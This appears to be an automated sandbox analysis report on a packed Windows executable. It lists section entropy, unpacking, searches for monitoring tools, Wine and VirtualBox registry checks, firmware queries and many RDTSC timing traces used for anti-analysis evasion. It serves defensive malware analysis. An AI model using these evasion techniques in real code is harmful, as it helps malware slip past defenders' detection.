Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1839616 > 1048576

Source: file.exe

Static PE information: Raw size of erewnnff is bigger than: 0x100000 < 0x198e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.500000.0.unpack :EW;.rsrc :W;.idata :W; :EW;erewnnff:EW;rabfioua:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;erewnnff:EW;rabfioua:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c13ae should be: 0x1c2fb6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: erewnnff
Source: file.exe	Static PE information: section name: rabfioua
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F106D2 push ecx; retf	0_3_00F106F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F106D2 push ecx; retf	0_3_00F106F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F106D2 push ecx; retf	0_3_00F106F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F106D2 push ecx; retf	0_3_00F106F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F106D2 push ecx; retf	0_3_00F106F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F106D2 push ecx; retf	0_3_00F106F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F106D2 push ecx; retf	0_3_00F106F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F10823 push ss; ret	0_3_00F1082D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F10823 push ss; ret	0_3_00F1082D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F10823 push ss; ret	0_3_00F1082D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F10823 push ss; ret	0_3_00F1082D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F10823 push ss; ret	0_3_00F1082D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F10823 push ss; ret	0_3_00F1082D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F10823 push ss; ret	0_3_00F1082D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0B7D4 push eax; ret	0_3_00F0B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0B7D4 push eax; ret	0_3_00F0B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0B7D4 push eax; ret	0_3_00F0B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0B7D4 push eax; ret	0_3_00F0B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0B7D4 push eax; ret	0_3_00F0B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0B7D4 push eax; ret	0_3_00F0B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0B7D4 push eax; ret	0_3_00F0B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F107B2 push ebp; iretd	0_3_00F107DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F107B2 push ebp; iretd	0_3_00F107DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F107B2 push ebp; iretd	0_3_00F107DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F107B2 push ebp; iretd	0_3_00F107DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F107B2 push ebp; iretd	0_3_00F107DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F107B2 push ebp; iretd	0_3_00F107DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F107B2 push ebp; iretd	0_3_00F107DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0C360 pushad ; ret	0_3_00F0C389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0C360 pushad ; ret	0_3_00F0C389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F0C360 pushad ; ret	0_3_00F0C389

Source: file.exe	Static PE information: section name: entropy: 7.971272002679764
Source: file.exe	Static PE information: section name: erewnnff entropy: 7.953616347656609

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE06B second address: 6CE070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE070 second address: 6CE078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D60BC second address: 6D60C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D60C3 second address: 6D60C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D638E second address: 6D63AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A55h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D94FE second address: 6D9502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D95A5 second address: 6D95D0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F53D9251A4Ch 0x00000008 ja 00007F53D9251A46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 cmc 0x00000016 push 0CF6067Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e jmp 00007F53D9251A4Ch 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9767 second address: 6D976D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D976D second address: 6D9771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7D9D second address: 6F7DA2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7DA2 second address: 6F7DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7F2A second address: 6F7F30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7F30 second address: 6F7F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8310 second address: 6F8316 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8479 second address: 6F848F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A52h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F848F second address: 6F8499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8499 second address: 6F84A3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F84A3 second address: 6F84C0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F53D9251E87h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F84C0 second address: 6F84D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jl 00007F53D9251A4Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F874E second address: 6F8755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8B28 second address: 6F8B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007F53D9251A46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8B34 second address: 6F8B3E instructions: 0x00000000 rdtsc 0x00000002 je 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8B3E second address: 6F8B69 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F53D9251A5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F53D9251A4Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0FF5 second address: 6F0FFF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0FFF second address: 6F1005 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1005 second address: 6F100B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAAEC second address: 6CAAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAAF4 second address: 6CAAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9270 second address: 6F928A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A56h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F93DB second address: 6F93DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F93DF second address: 6F93EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F93EB second address: 6F93EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F93EF second address: 6F93F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F964C second address: 6F9659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007F53D9251E7Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9659 second address: 6F965F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F965F second address: 6F9684 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Ch 0x00000007 jmp 00007F53D9251E7Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007F53D9251E8Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9684 second address: 6F9688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDD6D second address: 6FDD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDD73 second address: 6FDD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop esi 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701813 second address: 701817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C903C second address: 6C9042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9042 second address: 6C9047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9013 second address: 6C9017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9017 second address: 6C903C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F53D9251E8Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705A94 second address: 705ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F53D9251A5Fh 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F53D9251A57h 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F53D9251A46h 0x00000019 jmp 00007F53D9251A4Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705ACC second address: 705AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D55 second address: 705D5B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D5B second address: 705D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70752B second address: 707538 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707538 second address: 70754E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251E7Bh 0x00000009 popad 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70754E second address: 707554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707554 second address: 707558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70938F second address: 709399 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F53D9251A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709399 second address: 7093BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F53D9251E87h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7094F9 second address: 7094FF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7094FF second address: 709509 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F53D9251E7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A125 second address: 70A12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A8A2 second address: 70A8A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A8A6 second address: 70A8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A8AC second address: 70A8DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, 232964A7h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 jmp 00007F53D9251E81h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70AD61 second address: 70AD6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ADE4 second address: 70ADF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ADF1 second address: 70ADFB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F53D9251A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C701 second address: 70C706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C706 second address: 70C70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C70C second address: 70C710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CFC4F second address: 6CFC59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F53D9251A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D027 second address: 70D02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F39D second address: 70F3EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2843h], edi 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D2B34h], edx 0x0000001a push 00000000h 0x0000001c mov di, 3DEEh 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F53D9251A51h 0x00000026 push eax 0x00000027 push ecx 0x00000028 jo 00007F53D9251A4Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F170 second address: 70F17A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FECD second address: 70FED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FED1 second address: 70FEDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FEDA second address: 70FF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F53D9251A50h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F53D9251A48h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D180Dh] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F53D9251A48h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D20AEh], edx 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+122D2B14h], ecx 0x00000057 call 00007F53D9251A53h 0x0000005c pop esi 0x0000005d xchg eax, ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F53D9251A53h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FF71 second address: 70FF8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F53D9251E7Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FF8C second address: 70FF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
